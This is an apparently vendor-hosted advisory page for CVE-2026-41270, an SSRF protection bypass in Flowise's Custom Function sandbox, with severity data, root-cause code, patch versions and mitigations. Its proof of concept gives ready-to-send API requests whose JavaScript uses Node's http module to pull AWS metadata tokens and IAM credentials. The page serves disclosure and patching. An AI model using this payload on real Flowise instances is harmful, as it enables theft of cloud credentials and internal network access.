NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-41270 — flowise

HIGH

CVE-2026-41270 is a high-severity (CVSS 7.1) CWE-284 vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.

Flowise: SSRF Protection Bypass via Unprotected Built-in HTTP Modules in Custom Function Sandbox

Also known asGHSA-xhmj-rg95-44hv
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Oct 31, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41270.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk-0.10%
Lower risk than most CVEs14th percentile — riskier than 14% of all scored CVEsHighest risk
0.00%0.28%0.55%0.83%0.0%0.2%May 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
flowisenpm
5Kdownloads / week
flowise-componentsnpm
4Kdownloads / week

Description

Summary

A Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js http, https, and net modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services)

Details

The vulnerability exists in the sandbox configuration within packages/components/src/utils.ts

Vulnerable Code - Allowed Built-in Modules (Line 56):

export const defaultAllowBuiltInDep = [
    'assert', 'buffer', 'crypto', 'events', 'http', 'https', 'net', 'path', 'querystring', 'timers',
    'url', 'zlib', 'os', 'stream', 'http2', 'punycode', 'perf_hooks', 'util', 'tls', 'string_decoder', 'dns', 'dgram'
]

SSRF Protection Implementation (Lines 254-261):

// Only axios and node-fetch are wrapped with SSRF protection
secureWrappers['axios'] = secureAxiosWrapper
secureWrappers['node-fetch'] = secureNodeFetch

const defaultNodeVMOptions: any = {
    // ...
    require: {
        builtin: builtinDeps,      // <-- http, https, net allowed here
        mock: secureWrappers       // <-- Only mocks axios, node-fetch
    },
    // ...
}

Root Cause:

  • The secureWrappers object only contains mocked versions of axios and node-fetch that enforce HTTP_DENY_LIST
  • The built-in http, https, and net modules are passed directly to the sandbox via builtinDeps without any SSRF protection
  • Users can import these modules directly and make arbitrary HTTP requests, which completely bypasses the intended security controls

Affected File: packages/components/src/utils.ts

Related Files:

  • packages/components/src/httpSecurity.ts - Contains checkDenyList() function only used by axios/node-fetch wrappers
  • packages/server/src/controllers/nodes/index.ts - API endpoint accepting user-controlled JavaScript code
  • packages/server/src/services/nodes/index.ts - Service layer executing the code

PoC

Prerequisites:

  1. Flowise instance with HTTP_DENY_LIST configured (e.g., HTTP_DENY_LIST=127.0.0.1,169.254.169.254,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)
  2. Valid API key or authenticated session
  3. For full impact demonstration - Flowise running on AWS EC2 with an IAM role attached

Verify SSRF Protection is enabled (expect a block message by policy)

Request:

POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>

{
  "javascriptFunction": "const axios = require('axios'); return (await axios.get('http://169.254.169.254/latest/meta-data/')).data;"
}

Response:

{"statusCode":500,"success":false,"message":"Error: nodesService.executeCustomFunction - Error running custom function: Error: Error: NodeVM Execution Error: Error: Access to this host is denied by policy.","stack":{}}

Bypass SSRF Protection using built-in http module

Request:

POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>

{
  "javascriptFunction": "const http = require('http'); return new Promise((resolve) => { const tokenReq = http.request({ hostname: '169.254.169.254', path: '/latest/api/token', method: 'PUT', headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' } }, (tokenRes) => { let token = ''; tokenRes.on('data', c => token += c); tokenRes.on('end', () => { const metaReq = http.request({ hostname: '169.254.169.254', path: '/latest/meta-data/iam/security-credentials/{IAM_Role}', headers: { 'X-aws-ec2-metadata-token': token } }, (metaRes) => { let data = ''; metaRes.on('data', c => data += c); metaRes.on('end', () => resolve(data)); }); metaReq.on('error', e => resolve('meta-error:' + e.message)); metaReq.end(); }); }); tokenReq.on('error', e => resolve('token-error:' + e.message)); tokenReq.end(); });"
}

Response:

{
  "Code": "Success",
  "LastUpdated": "2026-01-08T11:30:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2026-01-08T17:30:00Z"
}
<img width="1638" height="751" alt="image" src="https://github.com/user-attachments/assets/ed8b1dfd-516f-4e2b-a4ea-4dd259a8abf6" /> <img width="1633" height="986" alt="image" src="https://github.com/user-attachments/assets/12f6ecab-96df-42bc-9551-4a005ba6ba77" />

Impact

Vulnerability Type: Server-Side Request Forgery (SSRF) with security controls bypass

Who is Impacted:

  • All Flowise deployments where HTTP_DENY_LIST is configured for SSRF protection
  • Deployments without HTTP_DENY_LIST are already vulnerable to SSRF via any method

Impact Severity:

  1. Attackers can steal temporary IAM credentials from metadata services, which allows gaining access to other cloud resources
  2. Scan internal networks, discover services, and identify attack targets
  3. Reach databases, admin panels, and other internal APIs that should not be externally accessible

Attack Requirements:

  • Authentication required (API key or session)
  • Network access to Flowise instance

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npmflowiseall versions3.1.0npm install flowise@3.1.0
📦npmflowise-componentsall versions3.1.0npm install flowise-components@3.1.0

Affected Products

1 product · 1 configurations
Application
flowiseflowiseai
< 3.1.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update flowise to 3.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-41270 is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

### Summary A Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js `http`, `https`, and `net` modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services) ### Details The vulnerability exists in the sandbox configuration within `packages/components/src/utils.ts` **Vulnerab
O3 Security · Impact-Aware SCA

Is CVE-2026-41270 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-41270: flowise SSRF — Fixed in 3.1.0